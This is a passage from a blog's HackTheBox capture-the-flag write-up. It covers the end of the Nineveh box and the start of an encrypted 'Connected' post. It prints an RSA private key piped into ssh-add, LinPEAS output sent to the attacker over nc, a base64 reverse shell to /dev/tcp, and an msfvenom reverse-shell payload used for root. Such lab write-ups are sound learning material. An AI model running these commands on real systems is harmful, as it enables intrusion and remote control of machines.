"LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBcmk5RVVEN2J3cWJtRXNFcEllVHIyS0dQL3drOFlBUjBaNG1tdkhOSjNVZnNBaHBJCkg5L0J6MWFiRmJydDE2dkg2L2pkOG0wdXJnL0VtN2QvRkpuY3BQaUlIODFKYkowcHlUQnZJQUdOSzdQaGFRWFUKUGRUOXkweEVFSDBhcGJKa3VrblA0Rkg1WnJxMG5ob0RUYTJXeFhEY1NTMW5kdC9NOHIrZVRIeDFiVnpubEJHNQpGUXExL3dtQjY1YzhiZHM1dEVUbGFjci8xNU9mdjFBMmordklkZ2d4TmdtOEEzNHhaaVAvV1Y3KzdtaGd2Y25JCjNvcXd2eENJK1ZHaFFaaG9WOVBkajQrRDRsMDIzVWI5S3lHbTQwdGluQ1hlUHNNZFk0S09MVFIveitvajRzUVQKWCsvMS94Y2w2MUxBRGNZazBTdzQyYk9iK3lCRXljMVRUcTFORVFJREFRQUJBb0lCQUZ2RGJ2dlBnYnIwYmpUbgpLaUkvRmJqVXRLV3BXZk5EcFlkK1R5YnNuYmREMHFQdzhKcEtLVEp2NzlmczJLeE1SVkNkbFYvSUFWV1YzUUFrCkZZRG01Z1RMSWZ1UERPVjVqcS85SWkzOFkwRG96UkdsRG9GY21pL21COTJmNnMvc1FZQ2FyamNCT0tEVUw1OHoKR1JadEl3YjFSRGdSQVhid3hHb0daUURxZUhxYUhjaUdGT3VnS1FKbXVwbzVoWE9rZk1nL0crSWMwSWo0NXVvUgpKWmVjRjNseDBreDBBeTg1RGNCa29ZUml5bituTmdyL0FQSkJYZTlJYmtxNGowbGoyOVY1ZFQvSFNvRjE3VldvCjlvZGlUQld3d3pQVnYwaS9KRUdjNnNYVUQwbVhldm9RSUE5U2taMk9KWE84Sm9hUWNSejYyOGRPZHVrRzZVdHUKQmF0bzNia0NnWUVBNXcySGZwMkF5b2wyNGJEZWpTRGoxUmprNlJFbjVEOFR1RUxRMGNmZlB1alo0c3pYVzVLYgp1ak9Vc2NGZ1pmMlArNzBVbmFjZUNDQVBOWW1zYVNWU0NNMEtDSlF0NWtsWTJETFdOVWFDVTNPRXBSRUlXa3lsCjF0WE1PWi9UNWZWOFJRQVpyajFCTXhsKy9VaVYwSUliZ0YwN3NQcVNBL3VOWHd4MmNMQ2todWNDZ1lFQXdQM2IKdkNNdVc3cUFjOUsxQW16Mys2ZGZhOWJuZ3RNanByK3diK0lQNVVLTXVoMW13Y0hXS2pGSUY4ekk4Q1kwSWFreApEZGhPYTR4KzBNUUV0S1h0Z2FBRHVIaCtOR0NsdFRMTGNrZkVBTU5HUUhmQmdXZ0JSUzhFalhKNGU1NWhGVjg5ClArNisxRlhYQTFyL0R0L3pJWU4zVnRnbzI4bU5OeUs3ckNyL3BVY0NnWUVBZ0hNRENwN2hSTGZiUVdra3NHekMKZkd1VWh3V2ttYjEvWndhdU5KSGJTSXdHNVpGZmdHY204QU5RL09rMmdEelEyUENyRDJJaXpmMlV0dnpNdnIraQp0WVhYdUNFNHl6ZW5qcm5rWUVYTW1qdzBWOWY2UHNreHdSZW1xN3B4QVB6U2swR1ZCVXJFZm5ZRUpTYy9NbVhDCmlFQk11UHowUkFhSzkzWmtPZzNaeWEwQ2dZQlliUGhkUDVGaUhoWDArN3BNSGptUmFLTGorbGVoTGJUTUZsQjEKTXhNdGJFeW1pZ29uQlBWbjU2U3NvdnYrYk1LK0daT01VR3UrQTJXbnFlaXVETWpCOTlzOGpwamt6dE9lTG1QaApQTmlsc05OamZudC9HM1JaaXExL1VjKzZkRnJ2Ty9BSWR3K2dvcVFkdVhmY0RPaU5sbnI3bzVjMC9TaGk5dHNlCmk2VU95UUtCZ0NndmNrNVoxaUxyWTFxTzVpWjN1VnI0cHFYSHlHOFRocnNUZmZrU1ZyQktIVG1zWGd0UmhIb2MKaWw2Ull6UVYvMlVMZ1VCZkF3ZFpETnRHeGJ1NW9JVUI5MzhUQ2FMc0hGREs2bVNUYnZCL0R5d1lZU2NBV3dGNwpmdzRMVlhkUU1qTkpDM3NuM0phcVkxekprRTRqWGxaZU5RdkN4NFphZHRkSkQ5aU8rRVVHCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0t" | base64 --decode | ssh-add - www-data@nineveh:~$ ssh amrois@localhost </code></pre> <p>And it works! We show up as amrois@nineveh! A user.txt is immediately available to us.</p> <h2 id="post-exploitation-amrois_1">Post-Exploitation amrois</h2> <p><code>sudo -l</code> is one of my go to first commands, but unfortunately it asks for a password that I don't have. Let's try linpeas.</p> <pre><code class="language-shell"># on attackbox kali@kali:~$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh &gt; linpeas.sh kali@kali:~$ python -m http.server # on victim amrois@nineveh:~$ curl 10.10.10.2:8000/linpeas.sh &gt; ./linpeas.sh amrois@nineveh:~$ chmod +x linpeas.sh # on attackbox kali@kali:~$ nc -lvnp 9002 | tee linpeas.out # on victim amrois@nineveh:~$./linpeas.sh -a | nc 10.10.10.2 9002 </code></pre> <p>As a defender, I love this particular section of the running processes:</p> <pre><code class="language-shell">... root 1288 0.0 0.5 65524 6084 ? Ss Jun16 0:00 /usr/sbin/sshd -D amrois 1582 0.0 0.3 95372 3208 ? S 21:21 0:00 _ sshd: amrois@pts/1 amrois 1583 0.0 0.5 22576 5292 pts/1 Ss 21:21 0:00 _ -bash amrois 11165 1.7 0.2 5624 2764 pts/1 S+ 21:31 0:00 _ /bin/sh ./linpeas.sh -a amrois 27506 0.0 0.1 5624 1244 pts/1 S+ 21:31 0:00 | _ /bin/sh ./linpeas.sh -a amrois 27510 0.0 0.3 37680 3632 pts/1 R+ 21:31 0:00 | | _ ps fauxwww amrois 27509 0.0 0.1 5624 1244 pts/1 S+ 21:31 0:00 | _ /bin/sh ./linpeas.sh -a amrois 11166 0.0 0.1 11308 1740 pts/1 S+ 21:31 0:00 _ nc 10.10.10.2 9002 root 1399 0.0 2.7 270312 27532 ? Ss Jun16 0:02 /usr/sbin/apache2 -k start www-data 26615 0.0 1.6 270864 16800 ? S 19:32 0:00 _ /usr/sbin/apache2 -k start www-data 27576 0.0 1.7 271392 17532 ? S 19:33 0:00 _ /usr/sbin/apache2 -k start www-data 12406 0.0 1.7 271712 17936 ? S 19:51 0:00 _ /usr/sbin/apache2 -k start www-data 21163 0.0 0.0 4512 848 ? S 20:35 0:00 | _ sh -c echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjExOS80NDQzIDA+JjE= | base64 -d | bash www-data 21166 0.0 0.2 18028 2796 ? S 20:35 0:00 | _ bash www-data 21167 0.0 0.3 18252 3344 ? S 20:35 0:00 | _ /bin/bash -i www-data 9932 0.0 0.8 35832 8536 ? S 20:56 0:00 | _ python3 -c import pty; pty.spawn("/bin/bash") www-data 9933 0.0 0.3 18328 3392 pts/0 Ss 20:56 0:00 | _ /bin/bash www-data 1521 0.0 0.5 44924 5316 pts/0 S+ 21:21 0:00 | _ ssh amrois@localhost www-data 528 0.0 0.0 11144 320 ? Ss 21:20 0:00 ssh-agent -s amrois 1524 0.0 0.4 45252 4720 ? Ss 21:21 0:00 /lib/systemd/systemd --user ... </code></pre> <p>Such an obviously malicious set of processes that shows apache launching tty, bash, and ssh to another user.</p> <p>Something interesting is a <code>crontab -l</code> which shows an <code>/usr/sbin/report-reset.sh</code> that clears the <code>/report</code> dir every 10 minutes. Looks to be <code>/usr/bin/chkrootkit</code> that is running as root. I found a <a href="https://www.exploit-db.com/exploits/33899">vuln for local priv esc</a> from 2014 that could potentially be a hit.</p> <pre><code class="language-shell"># on attackbox in one tab kali@kali:~$ nc -lvnp 4444 # on attackbox in another tab kali@kali:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.2 LPORT=4444 -f elf &gt; shell.elf kali@kali:~$ python -m http.server # on victim amrois@nineveh:~$ curl 10.10.10.2:8000/shell.elf &gt; /tmp/update amrois@nineveh:~$ chmod +x /tmp/update </code></pre> <h2 id="root">Root</h2> <p>Within a second, my reverse shell lit up as root, with root.txt in the main dir. There is also a vulnScan.sh script here:</p> <pre><code class="language-shell">$ cat vulnScan.sh #!/bin/bash /usr/bin/chkrootkit &gt; /report/report-`date +%y-%m-%d:%H:%M`.txt chown amrois:amrois /report/report-`date +%y-%m-%d:%H:%M`.txt </code></pre> <p>Clever. It tries to mask the fact chkrootkit is running as root by having amrois own all the outputs. LinPeas helped identify the /usr/bin/chkrootkit process was running under root.</p> <h2 id="conclusion">Conclusion</h2> <p>A solid box! The original foothold took me several hours as it required hopping back and forth between the two sites to get them to work together in popping a rev shell. The file inclusion vulnerability was a nice touch as it was locked down to specifically check for <code>ninevehNotes</code> to allow the PHP <code>include()</code> to run. I also noticed in LinPEAS that fopen was disabled in one of the ini files, which would explain why my initial revshells payload kept failing. I had to custom build one to get past this hurdle.</p> <p>The ssh again was locked down from the outside. I noticed several times that www-data did not have write perms, so I figured b64 was the route to take. It's possible I could've maybe written in /tmp, which may have been easier. The final path to root utilizing a cronjob felt much easier than the initial enumeration, but still satisifying to have this one conquered!</p> <h3 id="things-to-improve">Things to Improve</h3> <p>The LinPEAS script showing multiple spawned child processes like /bin/bash, python tty, ssh-agent is pretty funny and would likely be immediately flagged in real life. Stealthier options would be better. I made LinPeas send it's data back over nc, but I still dropped linpeas to the filesystem itself.</p> <p>More practice on LinPEAS. There was a LOT of red / yellow-red in the script that was "highly likely for exploit" that it's almost overwhelming. The simplest path was the <code>/usr/bin/chkrootkit</code> that I was lucky enough to stumble into as it was interesting and something I hadn't heard of before.</p>2026-06-13T08:02:00-04:002026-06-14T21:34:02.520335-04:00Eric Turnertag:blog.ericturner.it,2026-06-13:/2026/06/13/hackthebox-connected/

Intro This is my first dive into a Season box, let's dive in with 10.129.245.100. https://app.hackthebox.com/machines/Connected

<h2 id="intro">Intro</h2> <p>This is my first dive into a Season box, let's dive in with <code>10.129.245.100</code>. <a href="https://app.hackthebox.com/machines/Connected">https://app.hackthebox.com/machines/Connected</a></p> <p><div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">Om/Q35H64zv+OsSog3N0Sw==;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